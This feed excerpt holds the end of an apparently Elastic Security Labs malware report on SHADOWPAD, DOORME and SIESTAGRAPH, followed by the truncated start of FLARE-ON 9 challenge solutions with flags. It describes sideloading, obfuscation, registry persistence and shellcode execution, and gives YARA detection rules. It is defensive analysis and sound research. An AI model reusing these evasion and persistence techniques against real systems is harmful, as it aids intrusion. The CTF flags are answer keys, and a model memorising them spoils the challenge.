<p>Our version of the SHADOWPAD DLL expects to be sideloaded by an 11-year-old and vulnerable version of the BitDefender <strong>BDReinit.exe</strong> binary. The offset to the trampoline (<a href="https://gcc.gnu.org/onlinedocs/gcc-4.7.1/gccint/Trampolines.html">jump instructions</a>) in the vulnerable application is hard coded which means that the sample is tailored for this exact version of BitDefender’s binary ( <strong>386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd</strong> ). This side-loading behavior was previously <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">reported</a> by Positive Technologies.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image30.jpg" alt="log.dll’s hard coded offsets to BDReinit.exe" /></p>
<p>For our analysis, we patched <strong>log.dll</strong> to execute without the BitDefender sideloading requirement.</p>
<h3>Capabilities</h3>
<h4>Obfuscation</h4>
<p>The <strong>log.dll</strong> uses two lure functions to bypass automatic analysis.</p>
<p>We define lure functions as benign and not related to malware capabilities, but intended to evade defenses, obfuscate the true capabilities of the malware, and frustrate analysis. They may trick time-constrained sandbox analysis by showcasing benign behavior while exhausting the analysis interval of the sandbox.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image8.jpg" alt="log.dll’s lure functions" /></p>
<p><strong>log.dll</strong> incorporates a code-scattering obfuscation technique to frustrate static analysis, however, this doesn't protect the binary from dynamic analysis.</p>
<p>This technique involves fragmenting the code into gadgets and distributing those gadgets throughout the binary. Each gadget is implemented as a single instruction followed by a call to a “resolver” function.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image12.jpg" alt="Obfuscated function prologue 1/2" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image24.jpg" alt="Obfuscated function prologue 2/2" /></p>
<p>The resolver function of each call resolves the address of the next gadget and passes execution.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image10.jpg" alt="Resolver function computing the next gadget address" /></p>
<p>The obfuscation pattern is simple and a trace can be used to recover the original instructions:</p>
<pre><code>**result = []
for i, x in enumerate(trace):
 if &quot;ret&quot; in x:
 result.append(trace[i + 1])**
</code></pre>
<h4>API loading</h4>
<p>The sample uses the common <a href="https://0xevilc0de.com/2018/02/25/locating-dll-name-from-the-process-environment-block-peb/">Ldr crawling technique</a> to find the address of <strong>kernel32.dll.</strong></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image17.jpg" alt="Searching for the process module list in the PEB’s Ldr" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image18.jpg" alt="Searching for kernel32.dll by name in the module list" /></p>
<p>Next, <strong>log.dll</strong> parses the exports of <strong>kernel32.dll</strong> to get the address of the <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong> functions. It uses <strong>GetProcAddress</strong> to resolve imports as needed.</p>
<h4>Persistence</h4>
<p>The sample expects to find a file called <strong>log.dll.dat</strong> in its root directory using the <strong>FindFirstFile</strong> and <strong>FindNextFile</strong> APIs. Once <strong>log.dll.dat</strong> is located, it is loaded, encrypted, and stored in the registry under the <strong><code>HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\\{1845df8d-241a-a0e4-02ea341a79878897\}\D752E7A8\}</code></strong> registry value.</p>
<p>This registry value seems to be hard coded. If the file isn't found and the hard coded registry key doesn’t exist, the application crashes.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image31.jpg" alt="Payload is stored encrypted in the registry" /></p>
<p>Once the contents of <strong>log.dll.dat</strong> have been encrypted and embedded in the registry, the original file will be deleted. On subsequent runs, the shellcode will be loaded directly from the registry key.</p>
<h4>Shellcode</h4>
<p>To execute the shellcode the sample will allocate an <a href="https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions">RWX-protected memory region</a> using the <strong>VirtualAlloc</strong> Windows API, then write the shellcode to the memory region and pass execution to it with an ESI instruction call.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image25.jpg" alt="log.dll allocate RWX memory for the shellcode" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image7.png" alt="log.dll pass execution to the shellcode" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image23.jpg" alt="First instruction of the shellcode" /></p>
<h3>Other SHADOWPAD research</h3>
<p>While researching shared code and techniques, Elastic Security Labs identified a <a href="https://www.secureworks.com/research/shadowpad-malware-analysis">publication from SecureWorks’ CTU</a> that describes the BitDefender sideload vulnerability. Additionally, SecureWorks has shared information describing the functionality of a file, <strong>log.dll.dat</strong> , which is consistent with our observations. The team at <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/">Positive Technologies ETC</a> also <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">published detailed research</a> on SHADOWPAD which aligns with our research.</p>
<h3>SHADOWPAD Summary</h3>
<p>SHADOWPAD is a malware family that SecureWorks CTU has associated with the <a href="https://www.secureworks.com/research/threat-profiles/bronze-university">BRONZE UNIVERSITY</a> threat group and Positive Technologies ETC has associated with the <a href="https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf">Winnti group</a>.</p>
<h2>Campaign and adversary modeling</h2>
<p>Our analysis of Elastic telemetry, combined with open sources and compared with third-party reporting, concludes a single nationally-aligned threat group is likely responsible. We identified relationships involving shared malware, techniques, victimology, and observed adversary priorities. Our confidence assessments vary depending on the sourcing and collection fidelity.</p>
<p>We identified significant overlaps in the work of Positive Technologies ETC and <a href="https://www.secureworks.com/research/shadowpad-malware-analysis">SecureWorks CTU</a> while researching the DOORME, SIESTAGRAPH, and SHADOWPAD implants, and believe these are related activity clusters.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image32.jpg" alt="REF2924 intersections and associations" /></p>
<p>In the following analysis, we’ll discuss the four campaigns that we associate with this intrusion set including sourcing, intersections, and how each supported our attribution across all campaigns.</p>
<ol>
<li>Winnti - reported by Positive Technologies, January 2021</li>
<li>Undisclosed REF, Winnti - observed by Elastic Security Labs, March 2022</li>
<li>REF2924, ChamelGang, Winnti - reported by Elastic Security Labs, December 2022</li>
<li>Undisclosed REF, ChamelGang - observed by Elastic Security Labs, December 2022</li>
</ol>
<h3>Winnti</h3>
<p>In January of 2021, the team at Positive Technologies ETC <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">published research</a> that overlapped with our observations for REF2924; specifically SHADOWPAD malware deployed with the file names <strong>log.dll</strong> and <strong>log.dll.dat</strong> and using the same sample of BitDefender we observed as a DLL injection vehicle.</p>
<p>While the research from Positive Technologies ETC covered a different activity cluster, the adversary deployed a similar variant of SHADOWPAD, used a similar file naming methodology, and leveraged similar procedure-level capabilities; these consistencies contribute to our conclusion that REF2924 is related. In the graphic above, we use a dashed line to represent third-party consensus and moderate confidence because, while the reporting appears thorough and sound, we cannot independently validate all findings.</p>
<h3>Undisclosed REF, Winnti</h3>
<p>In early 2022, Elastic observed a short-lived intrusion into a telecommunications provider in Afghanistan. Using code analysis and event sampling, we internally attributed these sightings to WINNTI malware implants and external research overlaps with the <a href="https://attack.mitre.org/groups/G0044/">Winnti Group</a>. We continue to track this intrusion set, independently of and in relation to REF2924 observations.</p>
<h3>REF2924, ChamelGang, Winnti</h3>
<p>In early December 2022, we <a href="https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">observed</a> Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member. Our research identified the presence of the DOORME backdoor, SHADOWPAD, and a new malware implant we call SIESTAGRAPH (discussed in the SIESTAGRAPH code analysis section above).</p>
<p>In researching the events of REF2924, we believe they are consistent with details noted by <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/">Positive Technologies' research into ChamelGang</a>, and likely represent the actions of one group with shared goals.</p>
<h3>Undisclosed REF, ChamelGang</h3>
<p>Using the DOORME IIS backdoor that we collected during research into REF2924, we developed a scanner that identified the presence of DOORME on an internet-connected Exchange server at a second telecommunications provider in Afghanistan.</p>
<h3>Campaign associations</h3>
<p>Building associations between events, especially when relying on third-party reporting, is a delicate balance between surfacing value from specific observations and suppressing noise from circular reporting. Details reported by research teams and consisting of atomic indicators, techniques, procedures, and capabilities provide tremendous value in spotting associations between activity clusters. Elements of evidence that are repeated multiple times via circular reporting can lead to over-weighting that evidence. In analyzing these activity clusters, we have specific observations from our telemetry (host artifacts, capabilities, functionality, and adversary techniques) and third-party reporting consistent with our findings.</p>
<p>We use third-party reporting as supporting, but not factual, evidence to add context to our specific observations. It may be possible to verify a third-party had firsthand visibility of a threat, but that’s a rare luxury. We used estimative language in building associations where appropriate.</p>
<p>To uncover potential associations among these campaigns, we weighed host artifacts, tools, and TTPs more heavily than transitory atomic indicators like hashes, IP addresses, and domains.</p>
<p>We’ll discuss notable (non-exhaustive) overlaps in the following section.</p>
<h4>Campaigns 1 and 3</h4>
<p>Campaigns 1 (<a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">Winnti</a>) and 3 (<a href="https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">REF2924, ChamelGang, Winnti</a>) are related by several elements: the use of the SHADOWPAD malware family, the specific file names ( <strong>log.dll</strong> and <strong>log.dll.dat</strong> ), and the injection technique using the same BitDefender hash.</p>
<h4>Campaigns 3 and 4</h4>
<p>Campaigns 3 (REF2924, ChamelGang, Winnti) and 4 (Undisclosed REF, ChamelGang) are related by the presence of a specifically configured DOORME backdoor and a shared national strategic interest for the adversary.</p>
<p>Using network scan results for about 180k publicly-accessible Exchange servers, and specific authentication elements uncovered while reverse engineering REF2924’s DOORME sample, we were able to identify an identical DOORME configuration at a second telecommunications provider in Afghanistan. This was a different victim than Campaign 2 (Undisclosed REF, Winnti).</p>
<p>While the DOORME IIS backdoor is not widely prevalent, simply having DOORME in your environment isn’t a strong enough data point to build an association. The presence of this DOORME configuration, when compared to a search of 180k other Exchange servers and the moderate confidence of the national strategic interests, led us to associate Campaigns 3 and 4 together with high confidence and that Campaign 4 was also a part of the same threat group.</p>
<h2>Summary</h2>
<p>DOORME allows for a threat actor to access a targeted network through the use of a backdoored IIS module on an internet-connected server. DOORME includes the capability to collect information about the infected host, upload shellcode chunks to evade detection, and execute shellcode in memory.</p>
<p>SIESTAGRAPH is an implant discovered by Elastic Security Labs that uses the Microsoft Graph API for command and control. The Graph API is used for interacting with Microsoft Office 365, so C2 communication would be largely masked by legitimate network traffic. Elastic Security Labs has reported the tenant ID hard coded into SIESTAGRAPH to Microsoft.</p>
<p>Based on our code analysis and the limited internet presence of DOORME and SIESTAGRAPH, we believe that this intrusion set is used by a limited distribution, or singular, threat actor.</p>
<p>SHADOWPAD is a modular malware family that is used as a way to load and execute shellcode onto a victim system. While it has been tracked since 2017, SHADOWPAD continues to be a capable and popular remote access and persistence tool.</p>
<p>The REF2924 intrusion set, using SIESTAGRAPH, DOORME, SHADOWPAD, and the system binary proxy execution technique (among others) represents an attack group that appears focused on priorities that, when observed across campaigns, align with a sponsored national strategic interest.</p>
<h2>Detections</h2>
<h3>Hunting queries</h3>
<p>Hunting queries are used as a starting point for potentially malicious events, but because every environment is different, an investigation should be completed.</p>
<p>The following KQL query can be used to hunt for additional behaviors related to SIESTAGRAPH. This query looks for processes that are making DNS queries to graph.microsoft.com where the process does not have a trusted code-signing certificate or the process is not signed by Microsoft.</p>
<pre><code>dns.question.name : &quot;graph.microsoft.com&quot; and (process.code_signature.trusted : “false” or not (process.code_signature.subject_name : &quot;Microsoft Windows&quot; or process.code_signature.subject_name : &quot;Microsoft Windows Publisher&quot; or process.code_signature.subject_name : &quot;Microsoft Corporation&quot;)) and process.name : *
</code></pre>
<h3>Signatures</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoorMe.yar">Windows.Trojan.DoorMe</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SiestaGraph.yar">Windows.Trojan.SiestaGraph</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_ShadowPad.yar">Windows.Trojan.ShadowPad</a></li>
</ul>
<h3>YARA rules</h3>
<h4>The DOORME IIS module</h4>
<pre><code>rule Windows_Trojan_DoorMe {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-09&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;DoorMe&quot;
        threat_name = &quot;Windows.Trojan.DoorMe&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = &quot;.?AVDoorme@@&quot; ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}
</code></pre>
<h4>The SIESTAGRAPH implant</h4>
<pre><code>rule Windows_Trojan_SiestaGraph {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-14&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;windows&quot;
        arch_context = &quot;x86&quot;
        category_type = “Trojan”
        family = “SiestaGraph”
        threat_name = &quot;Windows.Trojan.SiestaGraph&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $a1 = &quot;downloadAsync&quot; ascii nocase fullword
        $a2 = &quot;UploadxAsync&quot; ascii nocase fullword
        $a3 = &quot;GetAllDriveRootChildren&quot; ascii fullword
        $a4 = &quot;GetDriveRoot&quot; ascii fullword
        $a5 = &quot;sendsession&quot; wide fullword
        $b1 = &quot;ListDrives&quot; wide fullword
        $b2 = &quot;Del OK&quot; wide fullword
        $b3 = &quot;createEmailDraft&quot; ascii fullword
        $b4 = &quot;delMail&quot; ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}
</code></pre>
<h4>The SHADOWPAD malware family</h4>
<pre><code>rule Windows_Trojan_ShadowPad_1 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-23&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD obfuscation loader+payload&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;ShadowPad&quot;
		threat_name = &quot;Windows.Trojan.ShadowPad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = { 87 0? 24 0F 8? }
		$a2 = { 9C 0F 8? }
		$a3 = { 03 0? 0F 8? }
		$a4 = { 9D 0F 8? }
		$a5 = { 87 0? 24 0F 8? }
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_2 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-31&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD loader&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;Shadowpad&quot;
		threat_name = &quot;Windows.Trojan.Shadowpad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = &quot;{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}&quot;
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_3 {
	meta:
		author = &quot;Elastic Security&quot;
		creation_date = &quot;2023-01-31&quot;
		last_modified = &quot;2023-01-31&quot;
		description = &quot;Target SHADOWPAD payload&quot;
		os = &quot;Windows&quot;
		arch = &quot;x86&quot;
		category_type = &quot;Trojan&quot;
		family = &quot;Shadowpad&quot;
		threat_name = &quot;Windows.Trojan.Shadowpad&quot;
		license = &quot;Elastic License v2&quot;
	strings:
		$a1 = &quot;hH#whH#w&quot; fullword
		$a2 = &quot;Yuv~YuvsYuvhYuv]YuvRYuvGYuv1:tv&lt;Yuvb#tv1Yuv-8tv&amp;Yuv&quot; fullword
		$a3 = &quot;pH#wpH#w&quot; fullword
		$a4 = &quot;HH#wHH#wA&quot; fullword
		$a5 = &quot;xH#wxH#w:$&quot; fullword
		$re1 = /(HTTPS|TCP|UDP):\/\/[^:]+:443/
	condition:
		4 of them
}
</code></pre>
<h2>References</h2>
<ul>
<li><a href="https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</a></li>
<li><a href="https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/">https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad">https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad</a></li>
<li><a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/</a></li>
<li><a href="https://www.secureworks.com/research/shadowpad-malware-analysis">https://www.secureworks.com/research/shadowpad-malware-analysis</a></li>
<li><a href="https://www.secureworks.com/research/threat-profiles/bronze-university">https://www.secureworks.com/research/threat-profiles/bronze-university</a></li>
<li><a href="https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf">https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf</a></li>
<li><a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/">https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/</a></li>
</ul>
<h2>Indicators</h2>
<p>Artifacts are available from the <a href="https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#observables">previously published REF2924 research</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/photo-edited-02@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[FLARE-ON 9 Solutions:]]></title>
            <link>https://www.elastic.co/es/security-labs/flare-on-9-solutions-burning-down-the-house</link>
            <guid>flare-on-9-solutions-burning-down-the-house</guid>
            <pubDate>Wed, 04 Jan 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[This year's FLARE-ON consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>To celebrate cybersecurity month, the Malware Analysis and Reverse Engineering Team (MARE) enjoyed participating in the Mandiant <a href="https://www.mandiant.com/resources/blog/announcing-ninth-flareon-challenge">FLARE-ON Challenge</a>. FLARE-ON is an excellent event for participants of all backgrounds and experience levels who want to learn more about malware analysis. This year consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs.</p>
<h3>Challenge 1 - “Flaredle”</h3>
<blockquote>
<p>Welcome to FLARE-ON 9! You probably won't win. Maybe you're like us and spent the year playing Wordle. We made our own version that is too hard to beat without cheating. Play it live at: <a href="http://flare-on.com/flaredle/">http://flare-on.com/flaredle/</a></p>
</blockquote>
<h4>Solution</h4>
<p>After downloading and unpacking the file, we see 4 file objects. <img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image9.jpg" alt="" /></p>
<p>The index.html file and accompanying js files give away what we are talking about is a HTML/JavaScript challenge. Opening the file script.js confirms our suspicion. In the first few lines of code the answer to the challenge is clear to the trained eye. Let’s explain.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image72.jpg" alt="" /></p>
<p>On line 9 the value of <strong>rightGuessString</strong> translates to WORDS[57]. Even if you don't know javascript, the variables and iterative loop suggest an evaluation of the user-supplied guess (rightGuessString) and a hard-coded value. If we look at the contents of words.js, we see the correct value on the 58th line (javascript arrays begin with 0 but the file start at line 1): &quot;flareonisallaboutcats&quot;.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image97.jpg" alt="" /></p>
<p>By visiting the online game and submitting this string, we can validate the correct flag for challenge one!</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image27.jpg" alt="" /></p>
<p><strong>Flag:</strong> <a href="mailto:flareonisallaboutcats@flare-on.com">flareonisallaboutcats@flare-on.com</a></p>
<h2>Challenge 2 - “Pixel Poker”</h2>
<blockquote>
<p>I said you wouldn't win that last one. I lied. The last challenge was basically a captcha. Now the real work begins. Shall we play another game?</p>
</blockquote>
<h3>Solution</h3>
<p>This challenge consists of a 32-bit Windows application that has been sweeping the nation, called Pixel Poker! Users get 10 attempts to click on the correct pixel from the window before the program terminates.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image8.jpg" alt="" /></p>
<p>The error message after 10 failed attempts provided a reliable lead to follow, and we focused on where that click restriction was implemented. We converted that decimal value of 10 into hexadecimal (0xA) and kicked off an immediate value search.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image88.jpg" alt="" /></p>
<p>The first result from our search is listed with instructions: <strong>cmp eax, 10</strong>. You might not be fluent in assembly, but “cmp” is a mathematical instruction to compare the contents of “eax” with the number ten. At first glance, that looks like the kind of logic behind that click restriction.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image98.jpg" alt="" /></p>
<p>By viewing the decompiled code, we can confirm this is our intended target instruction with the error message we saw on prior screenshot after the 10 attempts. We’re one step closer to knowing where to click in the window.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image78.jpg" alt="" /></p>
<p>In order to locate the validation logic and those coordinates, we look at code in close proximity to the previous error message. We observe two instances where the EAX register is populated using strings (“FLAR”) and (“E-On”) that then get divided with hardcoded values and compared with our clicked pixel values.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image12.jpg" alt="" /></p>
<p>After these straightforward operations, we derive two coordinates (95, 313). If you are up for a challenge and haven’t had too much coffee, go on and click that pixel.</p>
<p>The flag can also be attained by leveraging a debugger and enabling the zero-flag (ZF) on two JNZ (jump-if-not-zero) instructions that appear directly after the previously-mentioned compare checks. This method allows us to bypass manually clicking the correct pixel location.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image68.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image64.jpg" alt="" /></p>
<p>For fun, we wrote a small program to patch out the click restriction and brute force clicking all available pixels using the SendMessage API.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image4.jpg" alt="" /></p>
<p>Two minutes and about 100,000 clicks later, the flag was released to us.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image55.jpg" alt="" /></p>
<p>*<em>Flag: *_w1nN3r_W!NneR</em><a href="mailto:cHick3n_d1nNer@flare-on.com">cHick3n_d1nNer@flare-on.com</a></p>
<h2>Challenge 3 - “Magic 8 Ball”</h2>
<blockquote>
<p>You got a question? Ask the 8 ball!</p>
</blockquote>
<h3>Solution</h3>
<p>This challenge appeared to be an interactive 8-ball game developed with an open source SDL <a href="https://www.libsdl.org/">library</a>. Based on quick observations, there are two obvious inputs moving the 8-ball directionally (left, up, down, right) and an input box with a maximum of 75 characters.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image75.jpg" alt="" /></p>
<p>The first starting point was tracing the string “Press arrow keys to shake the ball” that was displayed in the application. The decompiled view of the function containing this string showed another string directly above it was being copied (“gimme flag pls?”).</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image82.jpg" alt="" /></p>
<p>Our next pivot was reviewing the code calling this function for more context. After the software executes and the game is displayed, a “do while” loop polls for input.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image87.jpg" alt="" /></p>
<p>One function we reviewed stood out, one containing multiple “if then” conditional statements based on single character values.</p>
<p>Our malware analysts begin their careers in childhood, diligently playing video games for literally hours at a time– to them this pattern resembles the <a href="https://en.wikipedia.org/wiki/Konami_Code">Konami</a> code, by which players enabled undocumented features after entering a series of inputs (left, left, up, right, up, left, down, up, left).</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image30.jpg" alt="" /></p>
<p>By moving the 8-ball first in this order of operations and then entering the previously-recovered string (“gimme flag pls?”), we unlocked the flag.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image85.jpg" alt="" /></p>
<p><strong>Flag:</strong> U<em>cRackeD_th1$_maG1cBaLL</em>!! <a href="mailto:_@flare-on.com">_@flare-on.com</a></p>
<h2>Challenge 4 - “darn_mice”</h2>
<blockquote>
<p>&quot;If it crashes it's user error.&quot; -Flare Team</p>
</blockquote>
<h3>Solution</h3>
<p>The fourth challenge was a 32bit PE binary. Executed without any arguments, the binary initially appeared to run briefly before terminating. When run with arguments, though, we see a strange error message.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image2.jpg" alt="" /></p>
<p>After opening the binary in IDA and tracing that error, we determined that the first argument is being passed to the function sub_401000.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/flare-on-9-solutions-burning-down-the-house/image23.jpg" alt="" /></p>
<p>In this function we see that our input is added to the values of a constant array, and at line 51 we see that the result is executed as code. This means that our input and the value in the array are resolved as an opcode which is returned. And that means a NOP opcode (0x90) isn’t an option, if you’re following along. The opcode we’re looking for is RET (0xC3): we copied the byte sequences out of IDA and hacked together an evaluation in Python.</p>
